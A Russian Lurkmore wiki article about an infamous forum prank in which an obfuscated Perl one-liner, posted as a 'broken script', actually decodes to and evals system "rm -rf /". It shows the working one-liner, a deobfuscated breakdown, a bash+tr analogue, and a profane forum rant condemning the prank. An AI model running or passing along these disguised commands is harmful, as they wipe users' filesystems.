Программа из одной строчки на Perl

Материал из Lurkmore

(Перенаправлено с Однострочник на Perl)
Перейти к: навигация, поиск

Фраза Программа из одной строчки на Perl происходит из одноимённой темы раздела Development расово верного форума ЛОР, в которой коварный анонимус запостил скрипт на Perl, сетуя на то, что он не работает. На самом деле, в названии оригинальной темы была ошибка — «программа из одной строчки ни Perl».

Содержание

Последствия

Как водится, скрипт был немедленно скопипащен в первый попавшийся шелл тысячами доверчивых пользователей, где и успешно выполнен. Вскоре начали появляться каменты типа «сука, блять, хорошо хоть рабочая станция. мудило блять...», что сподвигло суровых Perl-гуру всё-таки разобраться, что же на самом деле делает это коварное изделие. Вскоре от модератора Die-Hard поступило резюме, о том какую же команду скрипт выполняет.

Суть скрипта

Сабж выглядит вот так:

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Те же яйца, но в профиль:

$var = "=]=>%-{<-|}<&|`{";
$var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}}
         {`abcdefghijklmnopqrstuvwxyz{/" -};
eval($var);

То есть, сначала командой $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{; во временную переменную записывается текст =]=>%-{<-|}<&|`{, затем он транслитерируется (y; -/:-@[-`{-};`-{/« -;) и превращается в команду system"rm -rf /", смысл которой понятен даже людям, с Perl не знакомым. Далее эта команда отдается на исполнение интерпретатору (s;;$_;see). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода, но ему очень далеко до истинных шедевров в этой области.

Аудитория

Скрипт был рассчитан на лохов, работающих под рутом, и как следствие, потенциально удаливших весь корневой раздел со всей порнухой и смонтированными файловыми системами с порнухой. Сделано всё было исключительно ради лулзов, однако это породило целый мегафлейм, затрагивающий чуть менее, чем все моральные аспекты жизнедеятельности человеков. Как заметил другой анонимус:

А еще мы наверное кнопки канцелярские на стулья коллегам подбрасываем, да? А хули — смотреть надо куда садишься! Или веревки на уровне щиколоток натягиваем, что бы ламерье, которое под ноги не смотрит под общий смех таких же дебилов наебывалось. Тут вопрос то не в уровне квалификации! Блять, тут же не кроватка какаянить этож, нах, профешионал сосаити со всеми атрибутами. И ставить такой код — это все равно, что сунуть человеку раскаленный утюг с милой улыбкой: типа подержи пока.. Любой знает, что утюг может быть горячим, но как правило, такого уровня идиотского юмора просто не предполагаешь. Тем более, что у недоумков вроде автора этой веселой шутки, под управлением одна писюха под непонятно зачем поднятым на нем линухом. Нормальные люди окучивают по три-пять площадок одновременно и еще отвлекают, плюс бутерод и форума почитать — чтоб передохнуть. А тут перловая заковыристая строчка интересная вроде.. и блять умники — вот честно, кто одним махом понял чо за код? Первым делом какой позыв когда скрипт падает? Хуйнуть в первый же попавшийся шелл и посмотреть на ошибку интерпритатора, так? Короче, займись делом, шутник хуев. И когда ты лично хакер вонючий наступишь в кучу говна посреди темного лифта — помни, что это просто веселая шутка. Не будь ламером, всегда смотри куда наступаешь! Адье! ПС а ветку эту лучше оставить. В назидание.

Аналог на bash+tr

ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null

Принцип действия абсолютно тот же самый.

Ссылки